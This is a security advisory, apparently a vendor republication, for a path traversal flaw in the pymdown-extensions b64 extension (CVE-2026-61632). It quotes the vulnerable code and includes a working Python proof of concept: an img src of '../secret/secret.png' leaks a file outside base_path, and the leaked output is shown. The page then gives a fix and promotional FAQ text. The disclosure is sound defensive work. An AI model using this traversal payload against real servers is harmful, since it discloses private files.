Summary
PyMdown Extensions: Path traversal in the b64 extension lets <img src> read files outside base_path
The b64 extension inlines images referenced by <img src="..."> as base64 data URIs. When resolving the src path it joins it onto the configured base_path with os.path.normpath and opens the result directly, with no check that the resolved path stays inside base_path. A src containing ../ sequences, or an absolute path, therefore reads a file outside base_path as long as that file has an allowed image extension (.png, .jpg, .jpeg, .gif, .svg). The base64 of that file is then embedded in the rendered output, disclosing its contents.
This is a separate code path from the snippets traversal issues (GHSA-jh85-wwv9-24hv, GHSA-62q4-447f-wv8h). It lives in pymdownx/b64.py and has no path restriction of any kind. Confirmed on 10.21.3 installed from PyPI.
Details
In pymdownx/b64.py, function repl_path (around lines 68 to 90 on main):
if is_absolute:
file_name = os.path.normpath(path) # absolute src: base_path ignored entirely
else:
file_name = os.path.normpath(os.path.join(base_path, path)) # relative src: '../' escapes base_path
if os.path.exists(file_name):
ext = os.path.splitext(file_name)[1].lower()
for b64_ext in file_types:
if ext in b64_ext:
with open(file_name, "rb") as f: # opened with no containment check
...
There is no startswith(base_path), no os.path.realpath comparison, and no rejection of ... Both branches are reachable from an attacker-controlled src.
PoC
Reproduced against an unmodified pymdown-extensions==10.21.3 from PyPI. The script creates a base_path directory and a PNG one level above it, then renders Markdown whose image src points outside base_path, and confirms the outside file's bytes appear base64-encoded in the output.
import base64, os, shutil, tempfile, markdown
root = tempfile.mkdtemp()
base_path = os.path.join(root, "docs"); os.makedirs(base_path)
outside = os.path.join(root, "secret"); os.makedirs(outside)
png = base64.b64decode(
"iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk"
"+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="
)
with open(os.path.join(outside, "secret.png"), "wb") as f:
f.write(png)
md = markdown.Markdown(
extensions=["pymdownx.b64"],
extension_configs={"pymdownx.b64": {"base_path": base_path}},
)
html = md.convert('<img src="../secret/secret.png">')
assert base64.b64encode(png).decode() in html, "not leaked"
print("LEAKED:", html)
Output:
LEAKED: <p><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQ..."></p>
The base64 of a file outside base_path is present in the output. The absolute-path branch behaves the same way: an absolute src bypasses base_path entirely via os.path.normpath(path). Both were confirmed leaking.
Impact
An application that renders untrusted Markdown with pymdownx.b64 enabled exposes the contents of image-extension files on the server, or any path the process can read, to whoever controls the Markdown and whoever views the output. The reach is bounded by the image-extension check, so it is a targeted file read rather than full arbitrary read, but it still discloses file contents that were never meant to be exposed.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-61632 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (11.0.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Resolve the real path and require it to stay within base_path before opening:
file_name = os.path.realpath(os.path.join(base_path, path))
base_real = os.path.realpath(base_path)
if file_name != base_real and not file_name.startswith(base_real + os.sep):
return m.group(0) # leave the tag untouched; do not read outside base_path
The same containment check should apply to the absolute-path branch rather than trusting an absolute src. Using realpath instead of abspath also closes the related symlink-following gap in the snippets handler.
Frequently Asked Questions
- What is CVE-2026-61632? CVE-2026-61632 is a medium-severity path traversal vulnerability in pymdown-extensions (pip), affecting versions <= 10.21.3. It is fixed in 11.0.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-61632? CVE-2026-61632 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of pymdown-extensions are affected by CVE-2026-61632? pymdown-extensions (pip) versions <= 10.21.3 is affected.
- Is there a fix for CVE-2026-61632? Yes. CVE-2026-61632 is fixed in 11.0.0. Upgrade to this version or later.
- Is CVE-2026-61632 exploitable, and should I be worried? Whether CVE-2026-61632 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-61632 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-61632? Upgrade
pymdown-extensionsto 11.0.0 or later.